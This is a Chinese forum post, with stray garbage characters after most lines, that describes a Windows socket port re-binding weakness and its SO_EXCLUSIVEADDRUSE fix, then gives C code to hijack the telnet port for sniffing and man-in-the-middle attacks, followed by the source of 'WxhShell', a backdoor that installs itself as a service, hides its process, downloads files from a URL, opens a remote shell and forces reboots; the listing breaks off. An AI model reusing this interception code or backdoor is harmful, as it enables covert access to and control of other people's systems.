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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -p E(_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,s_T pq  
=Odv8yhn  
  saddr.sin_family = AF_INET; a<A+4uXyD  
F1Hh7 F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T1r3=Y4  
4L73]3&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k~|-gf FP  
}irn'`I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W(Uu@^  
]l(wg]  
  这意味着什么?意味着可以进行如下的攻击: f5GdZ_  
) 9oH,gZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1 `7<2w  
S#-tOj U*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JMS(9>+TA  
3tmdi3s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wHem5E  
/^ " 83?_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pMJ1v  
Bs M uQ|!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ne>g?"Pex{  
F>X-w+b4r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Jy aag-  
;=< ^0hxer  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 07/L}b`P  
(?*BB3b`  
  #include uyF|O/FC  
  #include \M"UmSB o  
  #include 7 ua6l[c  
  #include    /n4pXT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4TwQO$C  
  int main() RuG-{NF{F  
  { =U. b% uC  
  WORD wVersionRequested; 7DfTfTU6  
  DWORD ret; gLSA!#[ h  
  WSADATA wsaData; )){xlFA}  
  BOOL val; '?Jxt:<  
  SOCKADDR_IN saddr; Kwhdu<6  
  SOCKADDR_IN scaddr;  YOAn4]j  
  int err; ?K@t0a   
  SOCKET s; [Lp,Hqi5  
  SOCKET sc; ~=Ncp9ej#  
  int caddsize; +} mk>e/  
  HANDLE mt; ==cd>03()  
  DWORD tid;   'lS `s(  
  wVersionRequested = MAKEWORD( 2, 2 ); w18RA#Zo/  
  err = WSAStartup( wVersionRequested, &wsaData ); c[ht`!P  
  if ( err != 0 ) { <fdPLw;@e4  
  printf("error!WSAStartup failed!\n"); IOK}+C0e  
  return -1; T#O??3/%$1  
  } >x[`;O4  
  saddr.sin_family = AF_INET; !eJCM`cp  
   |8)Xc=Hz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c {I"R8  
somfv$'B  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oH2!5;A|  
  saddr.sin_port = htons(23); ,eQ[Fi!!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E-1"+p  
  { {[(pWd%J  
  printf("error!socket failed!\n"); hFvi 5I-b  
  return -1; +[m8c){  
  } cywg[  
  val = TRUE; ,PWj_}|L[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?G? gy2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #\bP7a +  
  { :[M[(  
  printf("error!setsockopt failed!\n"); |)W!jC&k  
  return -1; 5eX59:vtl  
  } !5x Ly6=}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @<_`2eW'/R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w5]l1}rl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~DLIzg7p!  
xfSG~csoz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -cNx1et  
  { AV@\ +0  
  ret=GetLastError(); j.3o W  
  printf("error!bind failed!\n"); Xz;b,C&*t  
  return -1; )Mzt3u  
  } 6kvV  
  listen(s,2); YDiN^q7  
  while(1) 2w?G.pO#  
  { bdV3v`  
  caddsize = sizeof(scaddr); .#^0pv!  
  //接受连接请求 OoP@-D"e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W81o"TR|pt  
  if(sc!=INVALID_SOCKET) 0^]t"z5f0  
  { 8.I9}_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =sQ(iso%f  
  if(mt==NULL) # bX~=`  
  { 1&|Dsrj  
  printf("Thread Creat Failed!\n"); Xa`(;CLW?  
  break; RT"O;P  
  } Vdvx"s[`m  
  } i+~QDo(Pi  
  CloseHandle(mt); (Cj,\r  
  } ) Ypz!  
  closesocket(s);  a@|.;#FF  
  WSACleanup(); o_ yRn16  
  return 0; 'TEyP56  
  }   }(=ml7)v  
  DWORD WINAPI ClientThread(LPVOID lpParam) QAvWJydb  
  { v#=ayWgk  
  SOCKET ss = (SOCKET)lpParam; ez0\bym  
  SOCKET sc; `I> ], J/  
  unsigned char buf[4096]; \o9@>&2  
  SOCKADDR_IN saddr; 96W4 c]NT  
  long num; P`sN&Y~m  
  DWORD val; onzA7Gre  
  DWORD ret; -fM1$/]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C MqM;1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }'jV/  
  saddr.sin_family = AF_INET; GUCM4jVT^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); # J.u  
  saddr.sin_port = htons(23); |p'i,.(c_W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zjoo{IH}  
  { P`!Ak@N  
  printf("error!socket failed!\n"); $Z7:#cZ Y  
  return -1; s1@@o#r  
  } 7Jc<.Z"/Gd  
  val = 100; ^4hc+sh0D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?W<cB`J  
  { w?;b7i  
  ret = GetLastError(); u.&|CF-  
  return -1; !'PlDGD  
  } X0x_+b? _  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o@@w^##  
  { j}RM.C\7  
  ret = GetLastError(); VLd=" ~  
  return -1; (v|`LmV  
  } `g8tq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #x|VfN5f  
  { ;Yu>82o.:  
  printf("error!socket connect failed!\n"); 4`G=q^GL,  
  closesocket(sc); #J3zTG(:@  
  closesocket(ss); i\Q":4  
  return -1; _pW 'n=}R  
  } ?7 X3 P  
  while(1) W#Cq6N  
  { Q5T(nEA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =KW|#]RB^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q}ZBr^*]1e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tQCj)Ms'X  
  num = recv(ss,buf,4096,0); bF7`] 83  
  if(num>0) ep`/:iYW  
  send(sc,buf,num,0); *q[^Q'jnN  
  else if(num==0) rOhA*_EG  
  break;  z8tt+AU  
  num = recv(sc,buf,4096,0); ;9Hz{ej  
  if(num>0) _BCT.ual  
  send(ss,buf,num,0); ~vkud+r  
  else if(num==0) `ITDTZ J  
  break; &,Uc>L%m  
  } 9`E-dr9  
  closesocket(ss); L7[X|zmy*x  
  closesocket(sc); 7~ILRj5Nq  
  return 0 ; VN!^m]0  
  } W|)(|W  
8Y]u:v  
@D2`*C9  
========================================================== MQhYJ01i  
X^9t  
下边附上一个代码,,WXhSHELL $t%"Tr  
8g&uE*7N  
========================================================== ta2z  
b<48#Qy~l  
#include "stdafx.h" r]xdhR5  
{=UKTk/t8  
#include <stdio.h> #`2GAM];7  
#include <string.h> I(F1S,7  
#include <windows.h> Y'\3ux0]4'  
#include <winsock2.h> D_]i/ F%  
#include <winsvc.h> 9? v)  
#include <urlmon.h> T9,lblU Q  
CA'hvXb.  
#pragma comment (lib, "Ws2_32.lib") r(748Qc4f?  
#pragma comment (lib, "urlmon.lib") t"4Rn<-  
)GQ D*b  
#define MAX_USER   100 // 最大客户端连接数 >!CH7wX  
#define BUF_SOCK   200 // sock buffer s#4))yUR6Z  
#define KEY_BUFF   255 // 输入 buffer ^2P;CAjj-  
L+`}euu5  
#define REBOOT     0   // 重启 ZhxfI?i)l  
#define SHUTDOWN   1   // 关机 w4 >:uyE  
JB: mbH  
#define DEF_PORT   5000 // 监听端口 )i?{;%^  
Fvcq^uZ  
#define REG_LEN     16   // 注册表键长度 ZfF`kD\  
#define SVC_LEN     80   // NT服务名长度 U* c{:K-C  
GZ-n! ^  
// 从dll定义API \q>e1-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %6vMpB`g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u:p:*u_^I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,(5dQ`hA0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qt)7mf  
VbY>l' rY  
// wxhshell配置信息 `-E.n'+  
struct WSCFG { 4l#T_y  
  int ws_port;         // 监听端口 4B%5-VQ  
  char ws_passstr[REG_LEN]; // 口令 =[43y%   
  int ws_autoins;       // 安装标记, 1=yes 0=no ?Ix'2v  
  char ws_regname[REG_LEN]; // 注册表键名 -+Awm{X_@  
  char ws_svcname[REG_LEN]; // 服务名 %K/G+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -6*OF.Ag`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ph5xW<VNP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r A&#>R`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ({}O M=_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )PanJHtU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ) J:'5hz  
Bwi[qw  
}; KX=:)%+  
8P'En+uE1|  
// default Wxhshell configuration RF\1.HJG  
struct WSCFG wscfg={DEF_PORT, S|Ij q3  
    "xuhuanlingzhe", n=Z[w5  
    1, d5Eee^Qu/  
    "Wxhshell", 8[{0X4y3  
    "Wxhshell", <o"D/<XnB3  
            "WxhShell Service", vY TPZ@RL  
    "Wrsky Windows CmdShell Service", vVvt ]h  
    "Please Input Your Password: ", M,v@G$pW  
  1, h-)A?%Xt  
  "http://www.wrsky.com/wxhshell.exe", 1V?Sj  
  "Wxhshell.exe" emDvy2uA#  
    }; v"?PhO/{=  
He$mu=$q{  
// 消息定义模块 QP-<$P;~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {D_4~heF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Lh<E5@]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vN6]6nUOiT  
char *msg_ws_ext="\n\rExit."; S0o,)`ZB  
char *msg_ws_end="\n\rQuit."; 2w.9Q (Sn  
char *msg_ws_boot="\n\rReboot..."; r~B Qy'  
char *msg_ws_poff="\n\rShutdown..."; ~IN$hKg^  
char *msg_ws_down="\n\rSave to "; :J)l C =  
Qak@~b  
char *msg_ws_err="\n\rErr!"; :e9jK[)h0  
char *msg_ws_ok="\n\rOK!"; 4Hd@U&E  
{G*:N[pJp  
char ExeFile[MAX_PATH]; p2_Zsq  
int nUser = 0; YF[!Hpzq  
HANDLE handles[MAX_USER]; SO jDtZ  
int OsIsNt; m^s2kB4A[  
Wg;TXs/  
SERVICE_STATUS       serviceStatus; N55=&-p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e hB1`%@  
NS/L! "g  
// 函数声明 $Q7E#  
int Install(void); "=RoI  
int Uninstall(void); ;[\2/$-  
int DownloadFile(char *sURL, SOCKET wsh); ;<GTtt# D  
int Boot(int flag); Z 5YW L4s  
void HideProc(void); rL+n$p X-  
int GetOsVer(void); ~q%9zO'  
int Wxhshell(SOCKET wsl);  $.]t1e7s  
void TalkWithClient(void *cs); hO@v\@;r  
int CmdShell(SOCKET sock); *9:6t6x  
int StartFromService(void); q^+NhAMz  
int StartWxhshell(LPSTR lpCmdLine);  O,,n  
f*&JfP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jN[6JY1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TF3q?0  
<cOE6;d#  
// 数据结构和表定义 JfINAaboi  
SERVICE_TABLE_ENTRY DispatchTable[] = &,kB7r"  
{ e.YchGTQ  
{wscfg.ws_svcname, NTServiceMain}, Ip|^?uyrk  
{NULL, NULL} S<9d^= a  
}; Zdg{{|mm  
ovoI~k'  
// 自我安装 iiDkk  
int Install(void) nMvIL2:3  
{ 5GxM?%\  
  char svExeFile[MAX_PATH]; !3v"7l{LF  
  HKEY key; -6Si  
  strcpy(svExeFile,ExeFile); y#0Z[[I0  
'\YhRU  
// 如果是win9x系统,修改注册表设为自启动 hLD;U J?S  
if(!OsIsNt) { _~q^YZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w% -!dbmb%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TB[2!ZW  
  RegCloseKey(key); H 6<@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E1v<-UPbA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Iatlz*W  
  RegCloseKey(key); hQx e0Pdt  
  return 0; O5*uL{pvT{  
    } Ym2m1  
  } SLB iQd.  
} VQ 3&  
else { qr;" K?NX  
sjkl? _  
// 如果是NT以上系统,安装为系统服务 LMzYsXG*[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rp9iX~A`e  
if (schSCManager!=0) g<c^\WG  
{ ]F-6KeBc  
  SC_HANDLE schService = CreateService P#1y  
  ( 7NqV*  
  schSCManager, dju{&wo~4  
  wscfg.ws_svcname, MT gEq  
  wscfg.ws_svcdisp, e%>E| 9*u  
  SERVICE_ALL_ACCESS, V-u\TiL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M<7*\1  
  SERVICE_AUTO_START, Bv*h ?`Q  
  SERVICE_ERROR_NORMAL, 5Ozj&Zq  
  svExeFile, (o=iX,@'2  
  NULL, 50`r}s}  
  NULL, *~X\c Z  
  NULL, [_Z3v,vt,  
  NULL, x B[# a*  
  NULL kS!*kk*a  
  ); _RVXE  
  if (schService!=0) f& *E;l0  
  { z [{%.kA  
  CloseServiceHandle(schService); 4TV9t"Dk+c  
  CloseServiceHandle(schSCManager); uBJF}"4ej  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )[.URp&  
  strcat(svExeFile,wscfg.ws_svcname); pqX=l%{4ES  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7T78S&g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T]k@g_  
  RegCloseKey(key); dksnW!  
  return 0; (Zkt2[E`  
    } i ib-\j4d  
  } [rem,i+  
  CloseServiceHandle(schSCManager); W=+ag<@  
} vzPrG%Uu7g  
} rv>6k:(  
ps [rYy  
return 1; J3vuh#  
} 'UCL?$  
S7]cF5N  
// 自我卸载 ]RJ2`xf  
int Uninstall(void) `. Z".  
{ -#h \8Xl  
  HKEY key; bcg)K`'N  
-g9f3Be  
if(!OsIsNt) { f.WtD`Oas  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z841g `:C  
  RegDeleteValue(key,wscfg.ws_regname); [a2/`ywdV  
  RegCloseKey(key); iZF{9@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y|bGd_j  
  RegDeleteValue(key,wscfg.ws_regname); &0myA_So  
  RegCloseKey(key); O1PdM52  
  return 0; y!].l0e2a  
  } w*x}4wW  
} L'(^[vR(  
} /on p<u  
else { Vj1AW<  
l }[ 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *niQ*A  
if (schSCManager!=0) ) PtaX|U  
{ i?]!8Ji  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .,4&/cd  
  if (schService!=0) H}X"yLog*  
  { BC^WPr  
  if(DeleteService(schService)!=0) { 5 m:nh<)#  
  CloseServiceHandle(schService); U]d+iz??b  
  CloseServiceHandle(schSCManager); - >2ej4C  
  return 0; $%<gp@Gz  
  } am=56J$ig  
  CloseServiceHandle(schService); *| 'k  
  } 'W)x<Iey1  
  CloseServiceHandle(schSCManager); QJ QQ-  
} DWDe5$^{  
} V&G_Bu~  
m@~HHwj  
return 1; hd900LA}  
} *i|hcDk  
$O[ut.   
// 从指定url下载文件 ezL*YM8?@  
int DownloadFile(char *sURL, SOCKET wsh) r&#q=R},p  
{ @{j-B IRZ0  
  HRESULT hr; 9P]TIV.  
char seps[]= "/"; Q x:+n`$/  
char *token; &]5<^?3  
char *file; 2- )Ml*  
char myURL[MAX_PATH]; T]+*} C  
char myFILE[MAX_PATH]; ]HRE-g  
E-RbFTVBA  
strcpy(myURL,sURL); \.{?TB  
  token=strtok(myURL,seps); REa%kU  
  while(token!=NULL) i"r=b%;;  
  { :x_l"y"  
    file=token; ]M_)f  
  token=strtok(NULL,seps); $.`(2  
  } bf3)^ 49}  
2)G ZU  
GetCurrentDirectory(MAX_PATH,myFILE); 8s|r'  
strcat(myFILE, "\\"); !0cfz5t  
strcat(myFILE, file); #GTmC|[  
  send(wsh,myFILE,strlen(myFILE),0);  X(bb1  
send(wsh,"...",3,0); j,Mp["X&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4}gwMjU-B  
  if(hr==S_OK) vWow^g  
return 0; seJc,2Ex  
else lp4sO#>`  
return 1; {C 7=  
I@.qon2V  
} p<Zf,F}  
jJ9|  
// 系统电源模块 7%JXVP}A  
int Boot(int flag) L&l> ?"_  
{ j&8U:Q,  
  HANDLE hToken; h$lY,7  
  TOKEN_PRIVILEGES tkp; 18a6i^7  
wd u>3Ch"y  
  if(OsIsNt) { c sYICLj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7 0KZXgBy_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zm"&8/l  
    tkp.PrivilegeCount = 1; <{e0 i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $U!w#|&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9;.dNdg>  
if(flag==REBOOT) { Dz.U&+*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NJn~XCq  
  return 0; 28zt.9  
} T Li0*)}  
else { i;yz%Ug  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <;M6s~  
  return 0; UGl}=hwKkG  
} `lr\V;o!  
  } xOP\ +(  
  else { H,] D}r  
if(flag==REBOOT) { A9F Z`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3"%:S_[  
  return 0; ~bvx<:8*%  
} \\)3:1X  
else { C!v0*^i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vrh}X[JEw'  
  return 0; 3vDV   
} AQ@A$  
} L[<MBgF Kv  
-K+grsb g  
return 1; dDAdZxd  
} &:w{[H$-  
B7va#'ne4{  
// win9x进程隐藏模块 .3oFSc`q  
void HideProc(void) #kk_iS>8  
{ F^KoEWj[H  
1 BVivEG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RQv`D&u_  
  if ( hKernel != NULL ) !j [U  
  { ai#0ZgO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t:$p8qR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v||8Q\d  
    FreeLibrary(hKernel); mi i9eZ  
  } o{m$b2BW  
uflp4_D   
return; NcRY Ch  
} sLb[ZQ;j  
H|==i2V{  
// 获取操作系统版本 \/lH]u\x  
int GetOsVer(void) naW}[y*y;  
{ ExV>s*y  
  OSVERSIONINFO winfo; TC" mP!1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qq^>7OU>Co  
  GetVersionEx(&winfo); /tx_I(6F?|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mv JEX8M  
  return 1; `[/BG)4  
  else L)4TW6IUk  
  return 0; +*~?JT  
} *}A J7]  
(Kv[~W7lb  
// 客户端句柄模块 .u)Po;e`  
int Wxhshell(SOCKET wsl) jja9:$#  
{ ?,TON5Fl-  
  SOCKET wsh; 4:5CnK  
  struct sockaddr_in client; X{<j%PdC  
  DWORD myID; Y M/^-[k3  
zT`LPs6T  
  while(nUser<MAX_USER) Z_cTuu0'  
{ I 4gyGg$H  
  int nSize=sizeof(client); 5}E8Tl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UACWs3`s+  
  if(wsh==INVALID_SOCKET) return 1; R/A40i  
\c_1uDRoUn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7YkxIzE  
if(handles[nUser]==0) z9u"?vdA  
  closesocket(wsh); rG}o!I`z  
else G}AfCd4  
  nUser++; ; :a7rN"(  
  } ~;3N'o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [#$z.BoEo  
/t(dhz&xN  
  return 0; a$l/N{<.  
} ` ` 6?;Y  
9^c\$"2B  
// 关闭 socket W{?7Pn?1`  
void CloseIt(SOCKET wsh) -_4U+Cfmtl  
{ v](7c2;  
closesocket(wsh); W,}HQ  
nUser--; 3;>|*(cO  
ExitThread(0); AFF7fK  
} #xNLr   
h7wm xa;  
// 客户端请求句柄 qWfG@hn  
void TalkWithClient(void *cs) Wm7Dy7#l  
{ F]q pDv  
8~u#?xs6  
  SOCKET wsh=(SOCKET)cs; ^$4d'  
  char pwd[SVC_LEN]; !dv  
  char cmd[KEY_BUFF]; n[[rI0]g  
char chr[1]; k"LbB#Q  
int i,j; ;%"UZ~]f  
%S]H  
  while (nUser < MAX_USER) { EX~ U(JB6  
p%jl-CC1  
if(wscfg.ws_passstr) { AL>*Vj2h/n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QyuSle  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x24  
  //ZeroMemory(pwd,KEY_BUFF); Ayadvi(@P  
      i=0; D ?1$I0=  
  while(i<SVC_LEN) { pE[ul  
3U!\5Nsby  
  // 设置超时 35%'HFt_  
  fd_set FdRead; ;3s_#L  
  struct timeval TimeOut; %`t;5kmR  
  FD_ZERO(&FdRead); Qv,8tdx  
  FD_SET(wsh,&FdRead); hw:zak#j,  
  TimeOut.tv_sec=8; :<Yc V#!P  
  TimeOut.tv_usec=0;  (f,D$mX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }xJ9EE*G/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )@DH&  
Xm8 1axyf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .cdm@_Ls  
  pwd=chr[0]; +/*g?Vt  
  if(chr[0]==0xd || chr[0]==0xa) { ?%J{1+hY  
  pwd=0; %3M(!X:[  
  break; $?YRy_SI  
  } JV=d!Gi[C  
  i++; ( 1T2? mO  
    } u>Z;/kr  
]&`_5pS  
  // 如果是非法用户,关闭 socket ;aExEgTq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DBANq\  
} ?vuM'UH-  
DBYD>UA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h7c8K)ntnf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RUC V!L  
W2G`K+p  
while(1) { ,'?%z>RZm  
3 [: x#r  
  ZeroMemory(cmd,KEY_BUFF); .|}ogTEf  
{y0#(8-&  
      // 自动支持客户端 telnet标准   hPLQ)c?   
  j=0; ?sWPx!tU  
  while(j<KEY_BUFF) { S^? @vj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O?/\hZ"&c  
  cmd[j]=chr[0]; B- =*"H?q  
  if(chr[0]==0xa || chr[0]==0xd) { OiH tobM  
  cmd[j]=0; C2NJrg4(  
  break; >H?l[*9  
  } {Hm0Q  
  j++; uUu]JDdz  
    } t$^1A1Ef  
;A7HEx  
  // 下载文件 xq+$Q:f  
  if(strstr(cmd,"http://")) { 'yxRz5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Oaf!\ z}  
  if(DownloadFile(cmd,wsh)) /_ }xTP"9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o<ak&LX`9  
  else (NK$2A/p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fn.wd`'0  
  } =Bo(*%  
  else { S^'?s fq  
k_?xi OSh  
    switch(cmd[0]) { ,6:ya8vB  
  o?@,f/" 5  
  // 帮助 OBaG'lrZy  
  case '?': { <;< _f U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v1%rlP  
    break; Fw? ;Y%  
  } G,I[zhX\  
  // 安装 Sd/?xyF1(  
  case 'i': { @9~a3k|  
    if(Install()) }mQ7N&cC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # le<R  
    else rKEi1b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CnyCEIO-  
    break; "Opk:;.  
    } x LR 2H>B}  
  // 卸载 WtOpxAq  
  case 'r': { +M-x*;.  
    if(Uninstall()) pwAawm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jq#gFt*  
    else `_Iy8rv:P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); COPH)Bdq.  
    break; OCmF/B_  
    } 2>BWu  
  // 显示 wxhshell 所在路径 ))f%3_H  
  case 'p': { d#E]>:w9  
    char svExeFile[MAX_PATH]; (8DJf"}  
    strcpy(svExeFile,"\n\r"); 1Q1NircJ  
      strcat(svExeFile,ExeFile); (#x <qi,T  
        send(wsh,svExeFile,strlen(svExeFile),0); 1%~yb Q  
    break; 'F>eieO  
    } K s 8  
  // 重启 88(h`RGMh  
  case 'b': { fa7Z=:a G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J60XUxf  
    if(Boot(REBOOT)) B1dVHz#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {"|P  
    else { ;Q"xXT`;:  
    closesocket(wsh); j9"uxw@  
    ExitThread(0); U6^x(2De  
    } b|mWEB.p  
    break; d 7vD  
    } wBz?OnD/D  
  // 关机 IB9[Lx  
  case 'd': {  PI_MSiYQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I3 /^{-n  
    if(Boot(SHUTDOWN)) gz fs9e  
